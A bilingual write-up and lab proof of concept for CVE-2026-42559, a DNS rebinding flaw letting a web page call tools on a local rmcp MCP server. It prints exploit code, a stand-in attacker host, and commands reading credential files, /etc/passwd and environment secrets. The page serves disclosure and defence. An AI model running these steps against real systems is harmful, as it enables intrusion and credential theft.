CVE-2026-42559: DNS rebinding into a local MCP server — rmcp Host header PoCCVE-2026-42559: DNS rebinding até um servidor MCP local — PoC do Host header no rmcp
The Rust MCP SDK's Streamable HTTP transport never looked at the Host header, so any web page could DNS-rebind to a developer's loopback MCP server and call its tools. A two-container lab runs the same server against rmcp 1.3.0 and 1.4.0 to show the fix.O transporte Streamable HTTP do SDK Rust de MCP nunca olhava o header Host, então qualquer página web podia fazer DNS rebinding até o servidor MCP em loopback de um desenvolvedor e chamar as ferramentas dele. Um lab de dois contêineres roda o mesmo servidor contra o rmcp 1.3.0 e o 1.4.0 para mostrar a correção.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: everything in this repository is intentionally vulnerable and exists for research and education. The containers expose a shell-execution tool by design. Run the lab only on a machine you own, and never point the exploit at a host you are not authorised to test.
Summary
CVE-2026-42559 is an origin-validation flaw (CWE-346) in
rmcp, the official Rust SDK for the Model
Context Protocol. Its Streamable HTTP server transport never inspected the
inbound Host header before version 1.4.0.
That matters because of how MCP servers are actually deployed. They bind to loopback, they hold no credentials of their own, and their entire security model is "only something already on this machine can reach the socket." The browser is supposed to enforce that boundary via the same-origin policy — and DNS rebinding defeats it.
The result: a web page the victim merely visits gets a full MCP session with their local assistant server, and can call every tool it exposes. In the lab that means arbitrary file read and shell execution on the developer's workstation.
| Product | rmcp — official Rust SDK for the Model Context Protocol |
| Affected | < 1.4.0 |
| Fixed in | 1.4.0 (2026-04-10) |
| CVSS 3.1 | 8.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE-346 (origin validation error), CWE-350 |
| Advisory | GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189 |
Impact
| Precondition | Required? |
|---|---|
| Credentials on the MCP server | No — it has none; reaching the socket is the authorization |
| User interaction | Yes — the victim must visit the attacker's page |
| The MCP server reachable on loopback or a private interface | Yes |
| Attacker-controlled DNS with a short TTL | Yes |
| Anything installed on the victim's machine | No |
The UI:R in the vector undersells it. The required "interaction" is visiting a
web page — no download, no click-through, no warning. Meanwhile the payoff scales
with whatever the assistant was wired up to do, and MCP servers are wired up to
do a lot: filesystem access, shell execution, cloud credentials, internal APIs.
How the attack works
DNS rebinding turns the browser's own origin model against the victim:
- The victim visits
http://evil.example, served with a 1-second DNS TTL. - The page stalls until the record is re-resolved. The attacker's DNS now
answers
evil.example → 127.0.0.1. - The page calls
fetch("http://evil.example:8000/mcp", …). The request lands on the victim's local MCP server — but the browser still considers it same-origin, so there is no CORS preflight and the JavaScript can read every byte of the response.
The only thing distinguishing that request from a legitimate one is a single
header: Host: evil.example:8000 rather than Host: 127.0.0.1:8000. With no
validation, the attacker's page gets a real MCP session.
Note that this is not a bug in anyone's server code. The vulnerable lab server sets up the transport with plain defaults:
// Deliberately left at the transport defaults. That is the whole point:
// on rmcp < 1.4.0 the defaults contain no Host allowlist at all.
let config = StreamableHttpServerConfig::default().with_sse_keep_alive(None);1.4.0 added StreamableHttpServerConfig::allowed_hosts, defaulting to
["localhost", "127.0.0.1", "::1"], plus a validate_dns_rebinding_headers()
gate at the top of the request handler that answers 403 Forbidden otherwise.
Proof of concept
The lab runs two containers built from the same src/main.rs with the same
server config. The only difference is the pinned crate version, so any change
in behaviour comes entirely from the library:
| Service | Port | rmcp | Expected |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | forged Host accepted → full compromise |
patched | 127.0.0.1:8001 | 1.4.0 | forged Host → 403 Forbidden |
The pin happens at image build time, which is what keeps the comparison honest:
RUN cargo generate-lockfile \
&& cargo update -p rmcp --precise "${RMCP_VERSION}" \
&& cargo update -p rmcp-macros --precise "${RMCP_VERSION}" \
&& cargo build --release --lockedThe server plays a realistic "developer assistant", exposing whoami,
read_file and run_command, and the image is seeded with decoy credentials at
/home/dev/project/.env and /home/dev/.ssh/id_ed25519 so the exploit has
something meaningful to steal.
Why the PoC forges the header instead of running a DNS server
exploit.py
opens a TCP connection to the target and writes an attacker-controlled Host
header directly, using skip_host=True so http.client does not helpfully
insert the real one:
conn = http.client.HTTPConnection(self.ip, self.port, timeout=self.timeout)
conn.putrequest("POST", self.path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", self.host_header)
conn.putheader("Origin", f"http://{self.host_header}")
conn.putheader("Content-Type", "application/json")
conn.putheader("Accept", "application/json, text/event-stream")That is byte-for-byte the request a rebound browser emits. DNS rebinding is
only the mechanism that makes a browser send a foreign Host to a loopback
socket; reproducing it this way exercises exactly the code path the CVE is
about, with two containers and no DNS infrastructure.
Run it
Prerequisites: Docker with the Compose plugin, and Python 3.9+ (the PoC has no dependencies).
1. Build both servers:
docker compose up -d --build2. Exploit the vulnerable build:
python3 exploit/exploit.py --target 127.0.0.1:8000[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] step 2: enumerating the tools now exposed to the attacker's page
- read_file Read a file from the workstation
- run_command Run a shell command on the workstation
- whoami Describe the workstation this assistant runs on
[*] step 3: invoking tools as if the attacker page were a local MCP client
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:hunter2@db.internal:5432/app
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
[!] arbitrary read and command execution on the victim host, from a web page3. Confirm the fix against the identical server built on 1.4.0:
python3 exploit/exploit.py --target 127.0.0.1:8001[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)The script exits 1 when the target is vulnerable and 0 when it is not, so it
drops straight into CI as a regression check.
Useful flags:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'Tear down with docker compose down.
Mitigation
// 1. Upgrade.
// rmcp = "1.4" (or later)
// 2. Loopback-only is the default from 1.4.0 onward — nothing to do
// for a locally bound server.
let config = StreamableHttpServerConfig::default();
// 3. For a genuine public deployment, allowlist your own names.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);If you cannot upgrade, terminate the MCP endpoint behind a reverse proxy that
rejects unknown Host values, and do not bind the server to 0.0.0.0 without
one. disable_allowed_hosts() exists — calling it reintroduces this exact bug.
References
Autorização: tudo neste repositório é propositalmente vulnerável e existe para pesquisa e educação. Os contêineres expõem uma ferramenta de execução de shell de propósito. Rode o lab apenas em uma máquina que você possui, e nunca aponte o exploit para um host que você não tem autorização para testar.
Resumo
A CVE-2026-42559 é uma falha de validação de origem (CWE-346) no
rmcp, o SDK Rust oficial do Model Context
Protocol. O transporte Streamable HTTP de servidor dele nunca inspecionou o
header Host de entrada antes da versão 1.4.0.
Isso importa por causa de como servidores MCP são de fato implantados. Eles sobem em loopback, não guardam credenciais próprias, e todo o modelo de segurança deles é "só quem já está nesta máquina alcança o socket". O navegador deveria sustentar essa fronteira via same-origin policy — e o DNS rebinding derruba isso.
O resultado: uma página web que a vítima apenas visita ganha uma sessão MCP completa com o servidor assistente local dela, e pode chamar todas as ferramentas que ele expõe. No lab, isso significa leitura arbitrária de arquivos e execução de shell na estação de trabalho do desenvolvedor.
| Produto | rmcp — SDK Rust oficial do Model Context Protocol |
| Afetadas | < 1.4.0 |
| Corrigido em | 1.4.0 (2026-04-10) |
| CVSS 3.1 | 8.8 Alta — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE-346 (erro de validação de origem), CWE-350 |
| Advisory | GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189 |
Impacto
| Pré-condição | Necessária? |
|---|---|
| Credenciais no servidor MCP | Não — ele não tem nenhuma; alcançar o socket é a autorização |
| Interação do usuário | Sim — a vítima precisa visitar a página do atacante |
| Servidor MCP alcançável em loopback ou em interface privada | Sim |
| DNS controlado pelo atacante com TTL curto | Sim |
| Qualquer coisa instalada na máquina da vítima | Não |
O UI:R do vetor subestima o caso. A "interação" exigida é visitar uma página
web — sem download, sem clicar em confirmação, sem aviso. Enquanto isso, o prêmio
escala com o que quer que o assistente tenha sido conectado a fazer, e servidores
MCP são conectados a fazer muita coisa: acesso ao sistema de arquivos, execução
de shell, credenciais de nuvem, APIs internas.
Como o ataque funciona
O DNS rebinding vira o próprio modelo de origem do navegador contra a vítima:
- A vítima visita
http://evil.example, servido com um TTL de DNS de 1 segundo. - A página trava até o registro ser re-resolvido. O DNS do atacante agora
responde
evil.example → 127.0.0.1. - A página chama
fetch("http://evil.example:8000/mcp", …). A requisição cai no servidor MCP local da vítima — mas o navegador ainda a considera same-origin, então não há preflight de CORS e o JavaScript consegue ler cada byte da resposta.
A única coisa que distingue essa requisição de uma legítima é um único header:
Host: evil.example:8000 em vez de Host: 127.0.0.1:8000. Sem validação, a
página do atacante ganha uma sessão MCP de verdade.
Repare que isso não é um bug no código do servidor de ninguém. O servidor vulnerável do lab configura o transporte com os defaults simples:
// Deliberately left at the transport defaults. That is the whole point:
// on rmcp < 1.4.0 the defaults contain no Host allowlist at all.
let config = StreamableHttpServerConfig::default().with_sse_keep_alive(None);O 1.4.0 adicionou o StreamableHttpServerConfig::allowed_hosts, com padrão
["localhost", "127.0.0.1", "::1"], mais um portão
validate_dns_rebinding_headers() no topo do handler de requisição que responde
403 Forbidden caso contrário.
Prova de conceito
O lab roda dois contêineres construídos a partir do mesmo src/main.rs com a
mesma configuração de servidor. A única diferença é a versão fixada do crate,
então qualquer mudança de comportamento vem inteiramente da biblioteca:
| Serviço | Porta | rmcp | Esperado |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | Host forjado aceito → comprometimento total |
patched | 127.0.0.1:8001 | 1.4.0 | Host forjado → 403 Forbidden |
A fixação acontece no momento do build da imagem, o que é o que mantém a comparação honesta:
RUN cargo generate-lockfile \
&& cargo update -p rmcp --precise "${RMCP_VERSION}" \
&& cargo update -p rmcp-macros --precise "${RMCP_VERSION}" \
&& cargo build --release --lockedO servidor faz o papel de um "assistente de desenvolvimento" realista, expondo
whoami, read_file e run_command, e a imagem é semeada com credenciais isca
em /home/dev/project/.env e /home/dev/.ssh/id_ed25519 para que o exploit
tenha algo significativo para roubar.
Por que a PoC forja o header em vez de subir um servidor DNS
O exploit.py
abre uma conexão TCP com o alvo e escreve diretamente um header Host controlado
pelo atacante, usando skip_host=True para que o http.client não insira
prestativamente o verdadeiro:
conn = http.client.HTTPConnection(self.ip, self.port, timeout=self.timeout)
conn.putrequest("POST", self.path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", self.host_header)
conn.putheader("Origin", f"http://{self.host_header}")
conn.putheader("Content-Type", "application/json")
conn.putheader("Accept", "application/json, text/event-stream")Isso é byte a byte a requisição que um navegador rebound emite. O DNS
rebinding é apenas o mecanismo que faz um navegador mandar um Host estrangeiro
para um socket de loopback; reproduzir assim exercita exatamente o caminho de
código de que a CVE trata, com dois contêineres e nenhuma infraestrutura de DNS.
Rodando o lab
Pré-requisitos: Docker com o plugin Compose, e Python 3.9+ (a PoC não tem dependências).
1. Construa os dois servidores:
docker compose up -d --build2. Explore o build vulnerável:
python3 exploit/exploit.py --target 127.0.0.1:8000[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] step 2: enumerating the tools now exposed to the attacker's page
- read_file Read a file from the workstation
- run_command Run a shell command on the workstation
- whoami Describe the workstation this assistant runs on
[*] step 3: invoking tools as if the attacker page were a local MCP client
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:hunter2@db.internal:5432/app
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
[!] arbitrary read and command execution on the victim host, from a web page3. Confirme a correção contra o servidor idêntico construído no 1.4.0:
python3 exploit/exploit.py --target 127.0.0.1:8001[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)O script sai com 1 quando o alvo é vulnerável e 0 quando não é, então ele
encaixa direto em CI como um teste de regressão.
Flags úteis:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'Derrube o ambiente com docker compose down.
Mitigação
// 1. Upgrade.
// rmcp = "1.4" (or later)
// 2. Loopback-only is the default from 1.4.0 onward — nothing to do
// for a locally bound server.
let config = StreamableHttpServerConfig::default();
// 3. For a genuine public deployment, allowlist your own names.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);Se você não puder atualizar, termine o endpoint MCP atrás de um reverse proxy que
rejeite valores de Host desconhecidos, e não suba o servidor em 0.0.0.0 sem
um. O disable_allowed_hosts() existe — chamá-lo reintroduz exatamente este bug.